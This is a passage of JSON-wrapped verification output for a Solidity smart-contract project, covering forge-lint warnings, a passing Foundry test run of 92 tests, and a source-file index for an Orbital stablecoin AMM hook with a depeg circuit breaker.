│\n838 │             int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:46\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:62\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:79\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:93\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                                             ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:20\n    │\n840 │             u[k] = int256(_x[k]) - xBound;\n    │                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:842:25\n    │\n842 │                 u[k] -= int256(c.r);\n    │                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:843:23\n    │\n843 │                 uu += uint256(u[k] * u[k]);\n    │                       ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:849:35\n    │\n849 │                 v[k] = u[k] > 0 ? uint256(u[k]) * radius / c.r : 0;\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:26\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                          ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:60\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:76\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:857:30\n    │\n857 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:917:23\n    │\n917 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:988:29\n    │\n988 │             if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:174:68\n    │\n174 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:964:38\n    │\n964 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:192:26\n    │\n192 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1043:23\n     │\n1043 │         if (w < c.sb) revert BoundaryInverted();\n     │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1048:54\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                                      ━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:983:22\n    │\n983 │         int256 gap = int256(t.lv[l].kNorm) - OrbitalMath.alphaIntNorm(p.s, sqrtN, c); // plane − position\n    │                      ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1003:17\n     │\n1003 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n     │                 ━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1018:32\n     │\n1018 │         uint256 qT = wT * wT + sT * sT / n;\n     │                                ━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1044:24\n     │\n1044 │         int256 along = int256(c.kb * WAD / sqrtN);\n     │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:35\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                   ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:51\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                   ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:66\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                                  ━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:83\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                                                   ━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1048:17\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                 ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1048:41\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                         ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1065:29\n     │\n1065 │         uint256 tolerance = c.r * (c.r / INVARIANT_TOLERANCE_DIVISOR) + 4 * c.r * _maxScale;\n     │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1066:13\n     │\n1066 │         if (uint256(-f) > tolerance) revert InvariantViolated();\n     │             ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'uint256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":2191,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.84ms (669.33µs CPU time)\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 20884209)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17949980)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 29.77ms (31.09ms CPU time)\n\nRan 2 tests for test/OrbitalPole.t.sol:OrbitalOffSurfaceTest\n[PASS] test_pointDeepInsideTheTorusFreezesSwapsNotWithdrawals() (gas: 1542920)\n[PASS] test_pointInsideByRoundingStillTrades() (gas: 1309766)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 40.44ms (5.27ms CPU time)\n\nRan 23 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 30005)\n[PASS] test_callbackAdminAndPayment() (gas: 190160)\n[PASS] test_callbackConstructionAndHookBinding() (gas: 8261)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 181572)\n[PASS] test_callbackIgnoresOlderRounds() (gas: 342955)\n[PASS] test_callbackRefusesNonProxy() (gas: 42646)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 190812)\n[PASS] test_callbackSkipsWhenAlreadyPaused() (gas: 188024)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 385574)\n[PASS] test_inBandPriceDoesNothing() (gas: 89804)\n[PASS] test_latchRequestsOneCallbackPerExcursion() (gas: 358180)\n[PASS] test_nonPositivePriceTrips() (gas: 176447)\n[PASS] test_ownerResumeIsNotUndoneByTheSameExcursion() (gas: 242793)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 155378)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 68777)\n[PASS] test_reactRunsOnlyInTheReactVm() (gas: 364879)\n[PASS] test_reactVmCopyFollowsTheRotatedAggregator() (gas: 224859)\n[PASS] test_reactiveConfigValidation() (gas: 6461)\n[PASS] test_reactiveNetworkCopyManagesSubscriptionsAndFeedRotation() (gas: 1052449)\n[PASS] test_reactivePaymentHooks() (gas: 118027)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 87019)\n[PASS] test_retryRequestsTheCallbackAgainWhileTheExcursionLasts() (gas: 875044)\n[PASS] test_withoutRetriesAFailedDeliveryIsFinalForTheExcursion() (gas: 740858)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 56.15ms (12.49ms CPU time)\n\nRan 1 test for test/OrbitalTicks.t.sol:OrbitalDeadlockRecoveryTest\n[PASS] test_interiorReopensOnThePinnedPlane() (gas: 7178534)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 68.88ms (15.40ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFrozenCoinTest\n[PASS] test_redeemClaimsFailurePaths() (gas: 1108557)\n[PASS] test_withdrawAndFeesDeliverHealthyCoinsWhenOneIsFrozen() (gas: 2380745)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 79.08ms (18.37ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalReentrancyTest\n[PASS] test_hookActionsAreNonReentrant() (gas: 2346866)\n[PASS] test_swapInsideFeePayoutIsRefusedAndStateIsConsistent() (gas: 2906051)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 92.73ms (8.31ms CPU time)\n\nRan 2 tests for test/OrbitalPole.t.sol:OrbitalPoleTest\n[PASS] test_poleCoinIsPulledBackByTradesTowardsThePeg() (gas: 5716773)\n[PASS] test_tradeBetweenOtherCoinsCannotCarryAThirdCoinPastItsPole() (gas: 9224454)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 166.59ms (34.35ms CPU time)\n\nRan 10 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 611454, ~: 625155)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321630, ~: 322155)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1642, ~: 1647)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepPicksTheRequestedImage() (gas: 15492)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 4991)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 267.12ms (367.71ms CPU time)\n\nRan 3 tests for test/OrbitalLiquidity.t.sol:OrbitalDustPoolTest\n[PASS] test_dustPoolDoesNotSkimLaterDepositors() (gas: 1749790)\n[PASS] test_fullExitClearsReservesSoTheNextPoolStartsClean() (gas: 1833943)\n[PASS] test_withdrawalLeavesAtLeastMinRadiusOrNothing() (gas: 768432)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 415.04ms (8.90ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployBroadcastTest\n[PASS] test_deployUnderBroadcast() (gas: 13765348)\n[PASS] test_deployWiresEverything() (gas: 20884531)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17950041)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.16s (87.35ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1722169, ~: 1737349)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2152151, ~: 2315879)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1556168, ~: 1421668)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 177602)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 606680)\n[PASS] test_constructorRejectsBadConfig() (gas: 49457802)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3384893)\n[PASS] test_depositRejectsBadInputs() (gas: 167867)\n[PASS] test_depositRespectsMaxAmounts() (gas: 180839)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1553969)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 557427)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130777)\n[PASS] test_guardianCannotUnpause() (gas: 98888)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603748)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605613)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2530959)\n[PASS] test_ownerAdmin() (gas: 256569)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294658)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1742507)\n[PASS] test_permissionsMatchAddressBits() (gas: 16808)\n[PASS] test_roundTripNeverProfits() (gas: 1955490)\n[PASS] test_swapExactInNearPeg() (gas: 1832573)\n[PASS] test_swapExactOut() (gas: 1705431)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 134942)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1946553)\n[PASS] test_swapTooLargeReverts() (gas: 618210)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 69905)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1975865)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 653977)\n[PASS] test_withdrawReturnsDeposit() (gas: 1031114)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 1.16s (1.14s CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFullExitTest\n[PASS] testFuzz_everyoneCanLeaveAfterRandomActivity(uint256) (runs: 256, μ: 11674652, ~: 11744719)\n[PASS] test_everyoneCanLeaveAfterMixedActivity() (gas: 8301796)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.43s (1.43s CPU time)\n\nRan 3 tests for test/OrbitalTicks.t.sol:OrbitalReturnTradeTest\n[PASS] testFuzz_randomActivityKeepsTicksConsistent(uint256) (runs: 256, μ: 12183150, ~: 12255222)\n[PASS] test_returnTradeThroughPegUnpinsAndRepins() (gas: 5112132)\n[PASS] test_tickOnItsPlaneRejoinsAfterDepositNudge() (gas: 61185024)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.90s (1.76s CPU time)\n\nRan 1 test for test/OrbitalPole.t.sol:OrbitalPoleFuzzTest\n[PASS] testFuzz_noCoinIsCarriedPastItsPole(uint256) (runs: 256, μ: 20813078, ~: 21014405)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.03s (2.02s CPU time)\n\nRan 15 test suites in 2.03s (8.89s CPU time): 92 tests passed, 0 failed, 0 skipped (92 total tests)\n","passed":true},{"durationMs":126,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setHook(address)\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.setFeed(address)\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.fallback()\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.redeemClaims(address,uint256,address)\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":453,\"foundry.toml\":23,\"launch.json\":34,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":103,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":1087,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":81,\"src/libraries/OrbitalMath.sol\":242,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":115,\"src/reactive/OrbitalDepegReactive.sol\":207,\"test/Deploy.t.sol\":87,\"test/OrbitalHook.t.sol\":562,\"test/OrbitalLiquidity.t.sol\":391,\"test/OrbitalMath.t.sol\":174,\"test/OrbitalPole.t.sol\":271,\"test/OrbitalTicks.t.sol\":235,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":599,\"test/mocks/CorruptibleOrbitalHook.sol\":23,\"test/mocks/HookableERC20.sol\":63,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/utils/BasketHarness.sol\":208,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"95ffcf356c4ddd4b44539c1a74c18a2ca7b65218566074f547653ae207953e2e","verifiedTreeHash":"bf16d13964d53e6f81b2568b64695c5b66a67704","verifierVersion":"0.1.0+474349a3"},{"checks":[{"durationMs":6769,"exitCode":0,"name":"build","output":"Compiling 94 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.43s\nCompiler run successful with warnings:\nWarning (8760): This declaration has the same name as another declaration.\n   --> test/invariant/OrbitalHookInvariant.t.sol:263:19:\n    |\n263 |     function pair(uint256 seed, bool flip) internal view returns (PoolKey memory key, uint8 i, uint8 j, bool z) {\n    |                   ^^^^^^^^^^^^\nNote: The other declaration is here:\n   --> test/invariant/OrbitalHookInvariant.t.sol:161:5:\n    |\n161 |     function seed(uint256 level, uint256 radius) external {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (8760): This declaration has the same name as another declaration.\n   --> test/invariant/OrbitalHookInvariant.t.sol:542:26:\n    |\n542 |     function togglePause(uint256 seed) external {\n    |                          ^^^^^^^^^^^^\nNote: The other declaration is here:\n   --> test/invariant/OrbitalHookInvariant.t.sol:161:5:\n    |\n161 |     function seed(uint256 level, uint256 radius) external {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:66:9\n   │\n66 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:659:24\n    │\n659 │             return (v, false);\n    │                        ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:40:56\n   │\n40 │     constructor(address _callbackProxy, address _hook, address _rvmId, address _owner) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:82:39\n   │\n82 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n   │                                       ━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:55:9\n   │\n55 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         